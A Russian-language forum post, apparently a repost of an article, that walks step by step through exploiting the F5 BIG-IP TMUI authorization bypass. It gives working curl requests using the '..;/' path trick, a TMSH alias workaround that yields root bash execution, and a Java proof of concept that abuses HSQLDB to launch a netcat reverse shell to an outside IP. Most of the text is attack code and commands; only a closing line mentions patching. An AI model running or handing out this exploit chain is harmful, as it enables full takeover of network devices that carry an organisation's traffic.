The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project

Взлом устройств F5 networks через уязвимости в BIG-IP. Часть 2

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
35
/usr/local/www/tmui/WEB-INF/web.xml

<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java

28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();

Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();


Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();


Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него.

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java

01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }


TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));


Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.


Просмотр списка администраторов BIG-IP через утилиту TMSH

Теперь сделаем то же самое, только через уязвимость.

curl -k "https://192.168.31.140/tmui/login.j...pace/tmshCmd.jsp?command=list+auth+user+admin" -s


Выполнение команд TMSH через уязвимость в F5 BIG-IP

Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.


Список команд модуля util

Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.


Страница мануала команды bash в TMSH

Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки.
  • run /util bash -c id
  • bash -c id

Разные варианты выполнения команд в bash через TMSH

Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s


Попытка вызвать произвольную команду через уязвимость в BIG-IP

Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {


Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали:

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java

24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray;
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }


Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")

Как видишь, возможно выполнить только четыре команды TMSH: create, delete, list и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.


Список общих (shared) псевдонимов в TMSH

Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.

Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash.

curl -k "https://192.168.31.140/tmui/login.j...=create+cli+alias+private+modify+command+bash" -s

Теперь modify -c id выполнит необходимую команду. В моем случае это id.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s

Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем.

curl -k "https://192.168.31.140/tmui/login.j...d.jsp?command=delete+cli+alias+private+modify" -s


Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя

Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.

К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.

RCE через HyperSQL

В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb.

/etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5


Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s


Обход авторизации для доступа к HSQLDB

HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.

Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку

192.168.31.140 localhost.localdomain

Разумеется, IP должен быть твоей виртуалки! Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.

/hsqldb-poc-rce/src/com/f5rce/Main.java

01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..;/hsqldb/";


Теперь имя пользователя и пароль.

/hsqldb-poc-rce/src/com/f5rce/Main.java

12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");


Подключаемся к БД.

/hsqldb-poc-rce/src/com/f5rce/Main.java

15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;


Теперь выполняем простенький запрос

SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS

/hsqldb-poc-rce/src/com/f5rce/Main.java

19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");


Получаем результат и выводим в консоль.

/hsqldb-poc-rce/src/com/f5rce/Main.java

21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }



Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP

Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.

Сначала проверим classpath — пути, откуда подгружаются библиотеки:

CALL "java.lang.System.getProperty"('java.class.path')

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");



Получение classpath через HSQLDB в BIG-IP

Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:

com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext

Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали.

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java

01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }


Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект.

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");



Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB

Заключение

Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.

После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.
 
Верх